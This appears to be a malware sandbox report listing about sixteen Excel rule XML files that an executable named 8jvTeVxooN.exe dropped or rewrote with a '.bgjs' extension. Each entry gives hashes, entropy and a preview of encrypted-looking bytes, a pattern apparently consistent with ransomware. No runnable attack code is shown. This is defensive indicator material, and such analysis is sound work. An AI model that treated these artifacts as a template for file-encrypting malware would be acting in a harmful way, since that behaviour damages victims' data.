Preview:	<?xmlVR......^..L.Wo..x1...'.<8..8xpz`.~'UJ.j.e\.F...../}.-..r^d./..H..(a.9.q9.1.{W....b+..[......S..?...9.u.W.=B..h..3]....W..\.l.%..m`{e..M`...n.....Tdu..........]s>...tA.#.y.).B......b......c..s.@."\.l%,.tT....H-@.....Q\<.?.jp.5.V....B...h..+o.;"2.f{.T......=e.v.-._>..?....\|..e.l....>V..g..^..s+.ym.J.z.}.Vv8B.F.:.,..H.Z...}G.My0.=.(.=.6.s....N.{.].6.p.(.16.9+..K)...].9I....W..g."R....u..}E6..^.....\". ......_.o.Z..6...<!...p...~:...n......G.(..L'..$fH....6Q.r...[...&.)....P...w.@c....r..(@_.......8%N.:p...=.-?x...A......p".2L-8......aB..-V...r..o.+m... ....!#..:...\|.<.L....6w...t.......E.B..o.S...;.mn..S.).Y<.FA.~.b......T.e.vuz~.....7E..1C[....w...=.........`...........S..WZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.710741852179725
Encrypted:	false
SSDEEP:	12:wWBISBY/gKwepmS+CaoKKBwOJ5CQgd11NsqF1Ta0M5QK1WcZd1jcfuOcii9a:wOISsgnC9hAJsW1Ta0MaKY41VObD
MD5:	835ABA0237AE6C7C7B019D0664FB5954
SHA1:	5B45CA04C8D5ADB5D49D5FD84664846F3FCE03E6
SHA-256:	05782D3D5237C0CCA49B384CD93DD3F4C66AF6C61795A31E0576524F2EDF6BC9
SHA-512:	F9ED68B3C775B046674D315354FD5B571007BBF3C598262D031A3D0D77E552DBD470EDA089176266DB588360B9761EDC0AAA62AC3FC185B80E16CDBC3B512B39
Malicious:	false
Preview:	<?xml......D..o...Z..#...=........4.I.>^.:...2.WB.R...#.......R\+....De.....x....!..^..8P8.....m.....&.B..O..U.$.Gt..4..5.Vz.eRK....c\...N..2K.%..T\|..m..5ca.n...,..b....C...W...t.yJTz.>=.9.E.........E...T#?."..........1...}...c...o.-..N.%U.b?..5rg.......\...x.'=o.....D.e.`.}..........7M.,.......n..c........z.v.......i=...PK..q.O....9Q.......Vk..,..Tpv....xJ9unj...pQ`..;.Z~S4.(.3.....;">}*....n.:...<.w.].....7..Q....E...\|..x...t..'.H.U~.&\|..d<4mm.x.G.....Z.........\|..;.:.........2.~...`...=..r...4..=....^]]'.[..\.e.....w......u....7g.A.%...R;......&.........\|..U..%...rB.....7G.....6e[..O.\|O.[4......1.4.H..V.......^...Y.V..P..fZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.737482107889885
Encrypted:	false
SSDEEP:	24:YAI49ckl3X+v504yoEWahDroC4Rxl+eObD:z97c5ByoVaVrXOeD
MD5:	D766C36BBAF8019CE9A38C8AAC86A376
SHA1:	7E9AE518FD39D083898DAF3FC27989D939D039B7
SHA-256:	00F75D0BC4159D79DC09786E824A9922AC6C429B2747B946BB9009FCFB9F4824
SHA-512:	CE6A62F56678667FD1B62E60D031FA6F700CA4418694A97125AD607FF4B384C5F119DC0871DB9A614BF2B0B6D6D781935720B4C1866699D9177E8EDA9A31033D
Malicious:	false
Preview:	<?xmlewA.^...3..~J...a.....U'.v.%.=N..h....T'!CaJ..Y.......A.D.aW5.......Z...d..o..v....WS5.j.<....c.=m...Ex.1....$^..]..M......~.h..g......D.-......5.._.....SR.mR.\|..-O....$/#..y<.7....~,q.b..1..H..tM.1>@.:.^....e.}.....].0.AO^..z.......)..j#.. u..:.vH.o.....>....6 AK...^Kf.F.b..n...".L......H...RQ...s..b...*D....p.2....p........L..#..@.@-.(.P..$..2.]....1.C...;..=+$..l...J.I#.K.6...6H...?y....e..a5......OS.8Dj.e....^.V`w..r.6f=3Z...i........m....h o.i....$T........0..I....}...T.........O...'A1....q0.wd..VT\..A.w{ ....&...r.6N.C.....K(/..l..u....e<.(A5s._.mr...hz./.......<7..P.....P.&....U.y.]zB.N..k_.=...5...\T.Z.N1TV..0..\|FP_8ta.......b..D...]u.......&....KN.1.........m...@...]./C./H:....hd..En....o.8.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.735292015659474
Encrypted:	false
SSDEEP:	12:aJhpFLRW/QMBVevjuKRoCZzZg2nueDpB4ADqcIOsuKfI7MHLiSTc+BDs2kmfX5BO:avpFL8/QKebuOoS1geHfND+OXOKu9oQ8
MD5:	108DB0C7BDF14B899554F51AF69DC23B
SHA1:	4F226E0681EFA70864BCCB66FD92F75DC451A397
SHA-256:	FA256E7C9F26317598A402E4504210E5BADA80F265663DB5117F63B812ACF015
SHA-512:	7DAE13F1EE6606FC14A753D1A241DB4C2318F519E489EE9CA9D5B3E6431CB712D9E2B993DC3D71440BC1DE55A1A613501E27CA88D786E5F2A981EA08C6E9F953
Malicious:	false
Preview:	<?xmlz.s........q.{...m..b.w.?/...W....{Z.....k..+.N.fZ..).w..J@.sQp.......T.w.r.`..c..-0\|.L..wI..EW.-fl....P.Ub\..........n..I.7.. ............9.).n./.z...\....IX.e........V.*...#;:.....`[.T..................7.-]..<.{.....~..[h.S....:.j.....^.p.y...g...CqX.p(..x....^_9.R...\5.[.P%.....V.K.....=K1.@."..A...d....G#p.%..M.e...VZ?fZ..."...#.jbw}`T.H.Yt{55..u..#.....l#.1V.M....tN^+H6x...i"r.\|.Bm,..:.h.....t......G1......[.Q.<.D..\"......,..e.[..1?.9a$.v..f@....9.......E?.....(v\..5y.`..Q...q......@...s+..=V..z.FDpM...._.s.~p... ...;.8O.L..x).5K...y...>.......=.t.........X.^.zT.t.......C.3...W.Kf.t.m.....o{.?....5.....y.........S..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.729734141967105
Encrypted:	false
SSDEEP:	24:z9+TZUhSM2WxxCfyCVPWgFAfKSszjNLdObD:xoDFWxxCf/VOgFX3pLCD
MD5:	1749BA36D91308DEB16ADE1415261FDA
SHA1:	00560F8B210B0748F9B3CDDF2CC324A6DCD09693
SHA-256:	6DF60E6A2D7189EBA1404396C83497E0DC611EE56097F26DE6ACBF19C74D14E9
SHA-512:	9FC1893101309A686F2978149D4A31D8AA5EB9D56981B83A5EC5944C2C1264608B87AE84C3A79EFA943E0FF2B91C334EB56DA58F4296514811CA988DD4351667
Malicious:	false
Preview:	<?xml..u.3......O.b...C{..a...1:.U.......%:[. -.wE.....g....3B.7.R.L..l...w.t'.y.....ke...C....3.=1...i.....(..g.-.su.l..kM...$...F....d..#.:...S.d.b...RM\....KL-TG..f..4.p.n....z..tg..!....@N(eu]6q.S5.q..)g...X.(<j...D2.vu^..L.u.+.F..m^n".b..P..!..\.B..AP3i,Gz7..r.5.....gw....]?..0...!.=...p._..DB.=..........l.9N..<M..5.0...h.gR.".!.=.,!..+.\...A..e.......^.h..J..j...!.......v......`9Cw..CD...^.%~?..c.%.y2..z......'f..(.uz.........Zu...}Sr.;.#E..x....,...s......;.y&..HE..3.Y....\>..&.7...o2..r.'.U_....,.....".c.a...Q...t(..(K.J!....KC}....c>.C..L....s<.Tb.m.i..c.fe...K/h.%../.k..Kc......k1!:..rQ...T.cg.....w...^.d.. tx.!........G...E..;V.....?2.z..M.U.D.X..Nl......XP....9";...9.C..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.682522433749104
Encrypted:	false
SSDEEP:	12:hiim2tWcUluxqD9M9poZX/bI2lZ9Ra1INNk6nBT+AEz6m2Z29ZadRZNjuOcii9a:hiyC0CocLlZ/nu6BTbEJ2AvaNNSObD
MD5:	28CB37ABDB833FFA4E3CDCEC4D7D0CEF
SHA1:	7805CF45426D46ED5F74F17DE32998111C903229
SHA-256:	C2DE97FF96FF4CAD79305688B96DD6409C57F61EF049276E56206894D701D573
SHA-512:	B30D9151FE90D52005CC9BD1BD9AA4D4D5B714853E836AA674174BB420962E71762CEA7E6619DE0A6884F2D1626CD265F9379BDF980942AEA843F72CC15F164A
Malicious:	false
Preview:	<?xml.].jx6....@..v..r...W.0...%.$b!.<...`.l....0...BM.6....}.J,.B..>]A:H..g0...U.....V.5@o.D...a....1(.m.T,../......9.......;.9 ..k..m..Q..P7.z.h.....}Q...Tq..'yAnF...Aj.....g,T.'.Ep.9...V......DG/......@.A?O.w. ..@O..w.9...R..YM.}<.>....#.}P.7.)Rd.f93$...W.....-V..7.A-..e.R.uW...V/.l..T.v..?..O..n6P.d\..i..d....-)v..}.u.`I...6.(...v..A.ij.-i...nn..q~..bl.-.\..kxu2....i..7.1#5M.......&e.?...k......,V.@.3jKD.{.]d.\..a../..\|..}.......9k-.4GV...+.p,=...8oU.......r..8...i<.<B*...9..7..P.(..x.......C\|].:.R.S.k...r.,/......l...y.D.H......d._..U.....F.]...U.p...F-Wz.U......-..K..,...z8...F...zl..}.......n.p....bN-e...')..\..t....v.-.g...mU......2...\..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.701986915248733
Encrypted:	false
SSDEEP:	24:M6mXkbjiwHlX5/yQD0SXFm6Fpth7i8t1ObD:M6majhJLYSXFm6X32e6D
MD5:	EBB02F56A30733F95AA7541881EA194D
SHA1:	988F33F001BFFE13B921B28B42A051CCBB70DD3D
SHA-256:	23795FEF58AEB6E9E50875276A7714C356A125DF47CB06A6FE23C9EEA01168F8
SHA-512:	0F603B0D0EF48B92A27763BED5A96EDCB7A3250B9346D3F299EA8B9575D40FB8B35997D9278E005AE983C1C1DC34BB27004E2E232E2B4655522A5F52343565B6
Malicious:	false
Preview:	<?xml..W.M.{..?Q2;..r/..c6S...[...... ..<...+....Q....i...>...MfR..Ho<..u....gz.z.j..."...FH.XW'..~.oE.DVw.F.Vl..a....vO.3......?......>..>,}......#.J.W..D./?.g.u\|..-....a..1..Q...cK........ti..c&..#^...../;.......o......h......}FGv,...LQ+......C..]....zF(.Y..\M..r.\|...}.R..w..c..Z...)PKT.l.:.r.....<1.....j.-....w...G...-q)jL1......(f/@...../.....x.D;.'.04.z\V.>...............p......[....".......g.VJ.}..M.X}.y...SvY....O..s.p.X..:..-.....#.L.SP.aZ..d.J......M^g5..q.LM+.C...>9....D'D .C....F..4{.1.gPn..w.D...U3;..{0...Y.?d...$3.L$...v........._.@.}.h.&......Q......%1.....<P.,i'<.eG......"....:.d..\...y....R.u2y.m...C.........:5$.+.2!.n.3j.....v.s...mA..4<h..W.qc...g+.qk.Z-..T....IW...p.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.685077669381097
Encrypted:	false
SSDEEP:	12:5Ko87QsduSaRQfeQ4+mgBmoydeQh2obiuJgZPQ7M8PimuOcii9a:5E7Qss+NmgEooPpJg20jObD
MD5:	D5CDBBB1C7B59AF1F7EB1170606CF462
SHA1:	0D2441151ED766E0C0AF8E0BF3D63D18561631FE
SHA-256:	700AA9BFC18D596F06D5D6CE40216C9737730EE235CBAF9EB297F09532A55F4E
SHA-512:	BCA8034359F2B283C43D79BAEB79170CD387679BC74D80393585790F2EC6415BFC9D8203C8D7E0E037CAD3FCBE6DEC96CC4B1C90C1E8EA8964EDE06C2C15B35D
Malicious:	false
Preview:	<?xml_._.......T...D6..x..?....AJ..B....Jj."..g.+28.t.C."L.bQ.L'C m.Q.P....G..8..G.._>..\|..Zo...RHE..<...?...Cq..u.h2.$...0..._$.[.u9.l.g.wq..-..]-;.>.MA[.BM.v.B>7.R.\|{t..E..J`...J.v....k...._\..G.K.`z..?..?...0)PQI5...O<-.bS}.."5.$N./.D.>h.V.L...2...^.yo..gf..#...&.o.V:v..-3,.NB.....i..}.....-...'.S.~...grRqY.._.b...7.,...R..?.b....G.K..LOs.>D+.6.....(}.+n.r.^.qa......B.L..un.......\|T...$..N.L.Q_..EF4..U.....P5.......&..8..L.1.l....4"4.}....B......nV..v..6...41.\|^..js.S.....&.....X^V....z.ct.C.............H6...i.K....,.......8..5.B.R.R9..=..-...dU..c.w....S..k..."....fZCZW.Q..+......ND"v.>O.xk.K..D1..{...@...S....>4Q(...n..#.b.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.728134544120584
Encrypted:	false
SSDEEP:	12:cfWPLZsxi1MvHxXkjX2OnpITcq2KeBXuPzEUQP5hPQfyBr1JhdodExlPgbUmrjuI:cCsA1MvR0LPXlSzc5tPo4loQmGObD
MD5:	DF7ED742405871BAB6DF7B2F5D54F09E
SHA1:	466DC742F7D29236A7841BD9B2BF8E84D8CA5B94
SHA-256:	86026EA6414CA4A53E084750EF91FD670334B126909C80432C68FDCC0574685C
SHA-512:	A75FA04C0D4FAEBE9E7EE4041D0D1274CD8D21BE299B8CAA365D0AF2C73C9A95F9A8F3A026BCDF47C7215BBB409438C42975F4079A47688CBF762649AD5966E6
Malicious:	false
Preview:	<?xml..k.%...I..g...e....w....L.%.T.kD.....3...\|.]7{.cx..:..0z,..D.I...rs.X.s..j.....p$f.^+...6..V{l.>.....z.W...1[.....Y.h.xi...%.D...L..v>ZaX.ff...h.$}2NU....l...E.V..wt..:L...Y.m!..C5...d..N..z........5Q.P\|Z..b....+....`s...V.....1...4...>.........).e.9...R.(...f(8y.<...s..\|...go.BIM.x.....F.:........".JV....'g.(.c....0\|..i4...X .'x.Bj.r2..u.+=.......W.....exs.4v.....n4........x.`..&w.x...QI...N...._..9..n.I.6Vw...\...x_.}.M...w ...}(..A...s..b`.#..l\|^.........5yGq.:;........?m..YzB.?=..teu^YQ..c.W....1wn..GF.>.. @..\|....sH....OEQ..x...(9-.......m.vy._.....(..r.A..x..`.g..,.3j[CE....e..P...%.y..P...xaZ....@E....+.f>.*....J.....i....pq..C.>..o,)...P....[_..[...I..1.;....Ft)_+.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.704445477203229
Encrypted:	false
SSDEEP:	12:8CHcM8mTvkVh+QEzm1ICjISieSkwaEVx9FMIw1vL9ESk4kqw3VffLTbuOcii9a:8C8kT0h+gICtwaU9FMj51kjVvKObD
MD5:	02A1FF987A3D874EA738282176394D35
SHA1:	E8D1BC199BF11C4A11A709526D38B893B4C01B07
SHA-256:	CC5AF2F1E09FD34ACED6D7410F5E932DB757EFCB92E35EADFA6D19B1756EC63A
SHA-512:	09BF8422B4BB718ACAA7F0C413B281657A7865BDDD63E8AA1F7226FAF5C2DBBAEE4745FF50ACBFD5751BF792BD9658C39AB0EDD26F3758AC8B794F18A33BA462
Malicious:	false
Preview:	<?xmlG..]...Ja.)..Y.n...Cd...V.w.....qBi..Tjbm..Y.My.e.c......O(..6.dV:...R9'Q).0..d....G.l....:+.......=.c.B..n.v..p....L,.CK0..`.E...E.S...,kb.A.:y...x.zoZ..v......6&m.9.\ E..L..B..1W,-...O.j..>....%.W.9...."...bk.`...@....W.....2/.]q9}8.em.c..=L.}..:.LFLk...X.....B......)r..s.qRd'.i...nD...oD.G.........c.\H..nm.^.^s!.]......<.-W.....GF#.-.i.9QG........\..>..I.L..?=....{..f.+.....B.aoz.S.P,4X:bj.M...A!..i...x!..p..`...1...dmj.T....EGnp...J......Y....%....9..1........5kh....g.l)......a......&eE.G.b~...)..yF.m...\.b4..}...K..t...]....o.yCK+..Y.h...;..Yu.>[y..tH.."D.7G.....(.`(W_..#>=..n...........d!#.....1.S$J.RX../Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.706612068516851
Encrypted:	false
SSDEEP:	24:J3B49ck27Uhv//B8/6KBTfQW4u86roA9KtyiObD:JR49BOU9ZAdl4KSyFD
MD5:	71C5EC4AFA7B803AFF325484304CDF9F
SHA1:	076808E2D3ED955715E5D07A618565090EFFC080
SHA-256:	01731220350F1E7036B2F4FD7C9E96D9FB7EF828E8175F77B15DE74CCC080508
SHA-512:	6F167B4FA9C0F24F5C9A92C73E344235B6FB97D0247490ECED8C5F0491C43F9649E1AEE069CA163545D3955279AC9AC8858C5D09DFFB313259C1B7F82D6867B5
Malicious:	false
Preview:	<?xml.BO....LA@._...8}...!B.../..r+h.gn..h.)phh..b...0\E.}.".JH...Wx.."._".Z..q..]..3..`..8.J...M.K..$../E...6#\B#...M]'......;.t.Y.3[}...TU.n9./TB..f`..R.r /D..bw....%.3...;.FuxD..P.v...A.N.mr...........PF...v....PL>./..$.U.k2..\|...r.w..".g..1\..{.:..{.O.>'........f...dskFJ....bI,.0o1M[.Y.]........N.:...u..._m.4!.\|...IQ..Zrk3..~.X.....s6......jL3_s.h.......-.+...o...b..g..A...C..R..Z.W..H.o..m.>.qD..B.....}.....%&i..tm.2h.@2.....g.....4e....U.G....Zi.(.!.T...@.^+%../W/....;.........'.1b.\..?.9t..2.....WC...x.B!....U.;.h!3e.......j..8.9Se..rh.U..A..#a.3zu.C.y.#....j.y..<V..].a.v....G1`.,.5..".=N..3=K.S..[.iU.P."C...:...^.QpI...v2.]4....p'...^&.D6y.4.....x..}e41LT...,v..4:...q.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.655926532165696
Encrypted:	false
SSDEEP:	12:fHQeBTXFW27cWkTEo6Z9o7/lM+ohztHEPrQZv9zcAf1EWI+vp/uOcii9a:flFW2fkEo6Zcq+K68ZF51y+MObD
MD5:	BCF6A299DF939FE25C36F0A234E1712D
SHA1:	6F4E4B8ECAC9384CD466E766318DF8F2C7532B9A
SHA-256:	33EC6ABF227918967A202D12BD539C9646D01815A1D96BD4C2D33C581B48C027
SHA-512:	807352F8B79FA546CF7C2A7DD80832A7BE2433C80479E8AEEB79EB409798E8D44B5A05CA2BD9B5A6028D4AC6C1C56984210457516047DDAD1FF38B4399ADA762
Malicious:	false
Preview:	<?xml..+oE$....E..C.r...q(fG..../.PA.c.D.?.A..c..e..NV..;..K..:. ...>Ae.i.%Dj..A. ....H.......Os..<....?P\|.RIT..?c.Q.jS....5..w....M..ENF)-...z.7#W...l..3.T]....<..0..t.^:....L.0}.......M.w\.k5.X.@Z(2...pU.~....&..}j....h....u.d....6.tn..elD_...K[.....Q'..5#`...4..6C..6^....u.>Z.....\.M.....1C/S...\.D^.;.b.......(.dZEsg.z.Z...LB..5..@"..:0m....#...O.6b..@..\;.N.g..5..!..Es.C1.....~rr.(.......jZC.e(.;Bt:......l.k.....A.....H....6Q....r.y.STU......8i../%.i.....7r.h.a.o..B...a.Q.@.1u..k..tE.#.Y...Wh.l....e...i.".Yf.q..I....[I._...I.Nx.@.H...^..(S......~...M(...Rre...4.?....GHr.?.=......[]`d.c..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.767422471389849
Encrypted:	false
SSDEEP:	24:ixoTZ2ZHt9ealLbL8IX+FBPbWAVbegOzS76JuSObD:iu92ZHtH3oRVbvQkWMD
MD5:	686969CC4B967673E280EB4EBE4F1D81
SHA1:	3615A7042C2E56ADFB19A257BE8E2CD80C66514A
SHA-256:	B1BC63C5DB6FA2039B0E6A1013C0E88526AAF655325FB8B67B67CFE9052C3162
SHA-512:	BCDAFA71D9FBD0DCA9A791C8F108BC0363513DB79537FF503F30EA8022F235F13BABF7FEFD3072D0D59137215EF9F632A7A288BEE7EA7D406CFC69BE17BC169B
Malicious:	false
Preview:	<?xml.......Fi..^w=.V.A.\{0...,...V.Cu....N...b...b.o.zi.4^.h.p...{.........I...(....5.A....C..~9e...Y..-..O....$.K...`......r.7..E._.=..Ut..,...u.....CL....p.....~:Z..y...L.T..qg.........NS.$.......\|\|Q.@...g.s..O..\|Y].....yq....F..l.)....6......u..%hGj.R..b`-\|.c..l.n[.".T....M-.....-...L`.hP&j..y..q..q......:/Gv.....L.S..c.)..d.T.?%.]...D.l.Cq..~........d...&....@ .../....C.t..P.U^...."+.M...8)..7...A:]..U.6.=.)Qw.(<N$...-..K.A^+.p.ILG......s..yq.l..3RI....y...XHO.,5...>.......y ...HT..L.......@e...F~F...c...X.}b.'z.q..r...!hH9..M.g[a.{.%....._.m.;F.......bi).#=.%...{..a.9..r..M....<1.f.H.O.t...S.u.k..Guh5^.SS.../...Ef.C.p......X..7.V(.w.+..H..VQL....G. o....a.@.)..'..c.......<..l..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.740774280916394
Encrypted:	false
SSDEEP:	12:SCki8Otmr64sr/oFeLIYI5F9ej4311MpNOhLokyX42/XS4QANWWDrWy1RmYjuOcq:SCJ8OQu7rwSUH1SzIb1266RrWy1UYSOX
MD5:	229B4C28737960744DD9092D93C995EB
SHA1:	0C507E971FB6CEBE502746F7E862F32FDDDAA915
SHA-256:	8C408C2594E82E6DFF3D8E382592CDCDB15F4E1FC510A6D85B706354362DB8DC
SHA-512:	9EBED19C053E79CDE86BC288C7DFD31C011E40DD4C2B1BE47E7AC755B34A85FB93FA352481CDE988BBD6624DB9E0CBF13A0C9023926D24520029B4D3F093F860
Malicious:	false
Preview:	<?xmlB.....).tr..h...Gk.v.Mu.WC&.R.Kvn...2LIlc......tT.m'.7#.#$. Iv..K.T\|..(.Z.n...A..s.[.4#v... .....4....s..$..[....{...]O...]aK..,..:/.._.F......e........t......8k...2...#N.&O~V.b^..,..O.%2.b5v....6.I..-0....L...E....N...b.zym".qc..x....X.WN..Z..c.U..........6....T...h.aZ.f.R.;._.....b...O....@j.......G.'....8.D...%....4V.5^zA...Tsm...tb .....C.5"Ff.........a/;^...y1....<.c..9V...f..u~c.c9....=......r.`..z._......k..S....^...M.&.....aVr....E.........).u3D.....-....8.Mt..4..../...wY%.5>n..^..."9.[......,uja[......E.!.....\....}{~9y........RbHQ..f.wX.O...]..}..X*...K.kA.h.?\...`4..WUqg.8.!.L..{,,..~.v..... ...$U.;jry>....[...Q.4...u..la.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.679556256351465
Encrypted:	false
SSDEEP:	12:mnrTaOqCGSMmd/xbmGw8CyEvPy7GytBARJFLYIfwa5PpDEyV/VuZZACXzVFwuOcq:QKOgS7d/x6GB9EvPCGoI5P11qnXf1ObD
MD5:	D51D4A13BEFD81C15FE2D3945BB17452
SHA1:	C37BFA8C4D8195124C194797D79A8CDAA5E4059C
SHA-256:	0BBE268BBD248BDA6C762F1028BFC616A8EA37173BAB540FC13266F57F2A2F1B
SHA-512:	5D42041EF0E101724DF3DF596F96485CF0402AE056E7EEFE67ABBC5AEAE080EBDB27F63669AE37D8A789B467C6BA866059EC645091BED9D8133632B935F38EAD
Malicious:	false
Preview:	<?xmll..Y.=b!...StM...f.u.R...4.]Lns..oo.n.O.6Y..F.o.;..u...jud.#.-..{S...%....D.Udo4.z........E.8.....2....4.Tq..1.a..>..[o>U..._.;46.z....+..Lf.isNe...\.`._...5.7.#.M.N...]..^12.....%/,S.h..f.n.......$/.j.l.]..xK.^...3Q.4{.....c.B`...........u..qR^.......u.dX4....M.......Y...60..Rv........"....eS!..Y.t.W.!..4Y......^...$.8U...&..&,.0..(.......V...XtdJ._Bdw.0.....O)..IG...C^_..NR3....-.<......k^"4%.....ZC.i....%-.....C......O.....B..Z...j.T..D_.G3.F....O_E.2...F.!)U+.1.....#.:..#w?.*.\...L......@...`.%...{2.q.VT.......Y......V..f.......d,^wf.bct..6.6.~._.\.^.I..4..S{.s.)342i....Q.uQ.z.....u.0\]+.Ej..S...Cy...h.....7.O......u...F i_p.bO.-.Z..J..\|!......t4......K:.=c.....0.\|.....5....n`.\|yD.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.727667082189417
Encrypted:	false
SSDEEP:	24:8o84FQcrmi1RmJF7fsAkHnWZfY6J6lGd51ObD:jlQkmi1RwbsPHWdSGdkD
MD5:	04BBBB5ACC39D559EBA3620C4CE9075C
SHA1:	F9BA759BA15B59A2EFAE4E0D07B7527F0F69C04D
SHA-256:	33E843D32E776144C9D1C82D0A5E941B001DFFADEAA9AA8EC6AA4EAF227C7FB0
SHA-512:	F7F2145525F6E34D2055A5283665EC4C836D3C9BF7C9CBFF35C8D6CC7485B03BBEEE11EDDA844CA0FBFB86FFB3CC0DE78EBF572870410301E28480BAAAF13A4D
Malicious:	false
Preview:	<?xmlxz.....v.">.R.o....k.'d%......u.]...e.wX..h.O.....N.-.m3.^.-X+.....,..\|Q.d..h.(I....b./....FQ../.....>4l!=.._x?5.1.&+S@.....<.r.n.D.....S\|@_....W.F.h.mBr.......H.V...{A..l.y...j.:v...........Z...;h.n......x..".....k<.(.&d....4e!s..`.M......._...m....P..H.Q_oB..H.S....1....cS..,i..=.fS..G.\....2.....@C.._a.$.l..).......{r..g..;I.M....4.......!.#...q....4..K.=.H...Z...5...L.b.D.....?..^.cS....3.9...H.D....l.......7....f..\.y.`...1.\|<..a..Dw...qe...Z.....,4.@F.D..y.....T....i.t.,..H:..37............AQ[.dv..0........eW...A.o......}.Sx..{.\|vA...g.Q....}...iX$'.Z{.x.e(v.....j.....o1}.7:.kI.6.....A].8tk..U...9...V..\|..7K.D..[i.U;.^..iY.....2..kh`O.).J....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

